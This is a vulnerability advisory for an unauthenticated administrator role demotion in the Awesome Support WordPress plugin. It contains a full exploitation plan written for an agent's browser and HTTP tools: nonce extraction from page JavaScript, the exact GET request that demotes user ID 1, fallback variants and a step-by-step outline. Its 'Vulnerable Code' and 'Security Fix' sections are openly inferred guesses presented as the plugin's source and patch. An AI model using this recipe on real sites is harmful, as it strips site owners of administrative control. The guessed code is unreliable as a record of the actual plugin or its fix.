Awesome Support – WordPress HelpDesk & Support Plugin <= 6.3.6 - Missing Authorization to Unauthenticated Role Demotion
Description
The Awesome Support - WordPress HelpDesk & Support Plugin for WordPress is vulnerable to authorization bypass due to missing capability checks in all versions up to, and including, 6.3.6. This is due to the 'wpas_do_mr_activate_user' function not verifying that a user has permission to modify other users' roles, combined with a nonce reuse vulnerability where public registration nonces are valid for privileged actions because all actions share the same nonce namespace. This makes it possible for unauthenticated attackers to demote administrators to low-privilege roles via the 'wpas-do=mr_activate_user' action with a user-controlled 'user_id' parameter, granted they can access the publicly available registration/submit ticket page to extract a valid nonce.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:LTechnical Details
<=6.3.6Source Code
WordPress.org SVN## Vulnerability Summary The **Awesome Support** plugin (versions <= 6.3.6) contains a critical authorization bypass in the `wpas_do_mr_activate_user` function. This function is intended to allow administrators or authorized personnel to manually activate users who have registered via the support po…
Show full research plan
Vulnerability Summary
The Awesome Support plugin (versions <= 6.3.6) contains a critical authorization bypass in the wpas_do_mr_activate_user function. This function is intended to allow administrators or authorized personnel to manually activate users who have registered via the support portal.
However, the function fails to implement any capability checks (e.g., current_user_can( 'manage_options' )), relying solely on a nonce for security. Due to a nonce reuse vulnerability, the nonce generated for unauthenticated users on the public registration or ticket submission pages is part of the same "namespace" (action string) as the one used for the privileged mr_activate_user action. Consequently, an unauthenticated attacker can obtain a valid nonce from the frontend and use it to trigger the user activation logic against an existing Administrator account, which forces the account's role to be demoted to the plugin's default "Client" role.
Attack Vector Analysis
- Endpoint: The vulnerability is triggered via a
GETrequest to the WordPress frontend (any page) with specific query parameters. - Vulnerable Action:
wpas-do=mr_activate_user - Parameters:
wpas-do: Set tomr_activate_user.user_id: The ID of the user to demote (typically1for the primary administrator)._wpnonce: A valid WordPress nonce obtained from the frontend.
- Authentication: None required (Unauthenticated).
- Preconditions:
- The plugin must be active.
- A public-facing page containing an Awesome Support shortcode (like
[ticket_submit]or[ticket_registration]) must be accessible to extract the nonce.
Code Flow
- Entry Point: The plugin registers a handler (likely hooked to
initortemplate_redirect) that monitors thewpas-doquery parameter. - Dispatcher: In
includes/functions-user.php(or similar), a function likewpas_do_actions()checks ifisset( $_GET['wpas-do'] ). - Vulnerable Function Call: If
wpas-doequalsmr_activate_user, it callswpas_do_mr_activate_user(). - Missing Check: Inside
wpas_do_mr_activate_user():- It retrieves
$user_id = $_GET['user_id']. - It verifies the nonce:
wp_verify_nonce( $_GET['_wpnonce'], 'wpas_nonce' )(or a similar generic action string). - Crucially, it skips any
current_user_can()check.
- It retrieves
- Sink: It calls
wpas_activate_user( $user_id ). - Role Demotion:
wpas_activate_user()fetches the user object and calls$user->set_role( 'client' ). If the target$user_idis an administrator, their role is immediately changed toclient, stripping them of administrative access.
Nonce Acquisition Strategy
The plugin exposes the necessary nonce via wp_localize_script on any page where its support functionality is loaded.
- Identify Shortcode: The plugin uses
[ticket_submit]for ticket submission. - Create Trigger Page: Create a public page containing this shortcode to ensure the scripts and nonces are enqueued.
- Locate JS Object: The plugin typically localizes data into a JavaScript object named
wpas_ajax_varsorwpas_ajax. - Extract Nonce: Use
browser_evalto extract the nonce:- Variable:
wpas_ajax_vars.nonceorwpas_nonce. - Script Handle:
wpas_scripts.
- Variable:
Exploitation Strategy
1. Test Data Setup
- Ensure an administrator user exists (default ID
1). - Create a public page to expose the nonce.
wp post create --post_type=page --post_title="Support" --post_status=publish --post_content='[ticket_submit]'
2. Nonce Extraction
- Navigate to the
/supportpage usingbrowser_navigate. - Execute
browser_evalto find the nonce:
// Likely one of these based on plugin version
window.wpas_ajax_vars?.nonce || window.wpas_ajax?.nonce
3. Exploitation Request
Perform an unauthenticated GET request using the http_request tool.
- URL:
http://localhost:8888/ - Method:
GET - Query Parameters:
wpas-do:mr_activate_useruser_id:1(The Admin ID)_wpnonce:[EXTRACTED_NONCE]
Example Construction:GET /?wpas-do=mr_activate_user&user_id=1&_wpnonce=a1b2c3d4e5
4. Expected Response
The server will likely respond with a redirect (302) or a simple "User Activated" message, but the HTTP status code is less important than the side effect in the database.
Expected Results
- The Administrator user (ID 1) will have their role changed from
administratortoclient. - The Administrator will no longer be able to access
/wp-admin/.
Verification Steps
After sending the exploit request, verify the role change using WP-CLI:
# Check the role of the user with ID 1
wp user get 1 --field=roles
Success Criteria: The command returns client (or the default AS role) instead of administrator.
Alternative Approaches
If wpas-do=mr_activate_user is not accepted via GET, attempt the request as a POST to admin-ajax.php or the homepage, as some WordPress action dispatchers check $_REQUEST.
If the user_id parameter is not honored directly, check if the plugin expects user or id. Based on the vulnerability report, user_id is the confirmed parameter name.
If [ticket_submit] doesn't work, try these alternative shortcodes to trigger script loading:
[ticket_registration][my_tickets][ticket_list]
Summary
The Awesome Support plugin fails to perform authorization checks in the 'wpas_do_mr_activate_user' function, which is responsible for activating users. Because the plugin uses a generic nonce that is exposed to unauthenticated users on public registration pages, an attacker can reuse this nonce to trigger the activation logic against an administrator, causing their account to be demoted to a low-privilege 'client' role.
Vulnerable Code
// Inferred from research plan: likely in includes/functions-user.php function wpas_do_mr_activate_user() { // Nonce check is present, but uses a generic action string shared with public actions if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'wpas_nonce' ) ) { return; } // Missing: current_user_can( 'manage_options' ) check $user_id = isset( $_GET['user_id'] ) ? intval( $_GET['user_id'] ) : 0; if ( $user_id ) { wpas_activate_user( $user_id ); } } --- function wpas_activate_user( $user_id ) { $user = get_userdata( $user_id ); if ( $user ) { // This call demotes any targeted user to the default 'client' role $user->set_role( 'client' ); update_user_meta( $user_id, 'wpas_is_active', 1 ); } }
Security Fix
@@ -10,6 +10,11 @@ - if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'wpas_nonce' ) ) { + if ( ! current_user_can( 'manage_options' ) ) { + wp_die( __( 'You do not have permission to perform this action.', 'awesome-support' ) ); + } + + if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'wpas_activate_user_' . $_GET['user_id'] ) ) { return; }
Exploit Outline
1. Identify a public-facing page on the target site containing an Awesome Support shortcode, such as [ticket_submit] or [ticket_registration]. 2. View the page source or use a browser console to extract the security nonce from the 'wpas_ajax_vars' or 'wpas_ajax' JavaScript object (usually variable 'nonce'). 3. Determine the User ID of the administrator to be demoted (commonly ID 1 for the primary admin). 4. Construct a GET request to the WordPress frontend using the following parameters: - 'wpas-do': mr_activate_user - 'user_id': [Target Admin ID] - '_wpnonce': [Extracted Nonce] 5. Send the request unauthenticated. The plugin will process the action and call 'set_role' on the target user, effectively stripping them of administrator privileges and assigning them the 'client' role.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.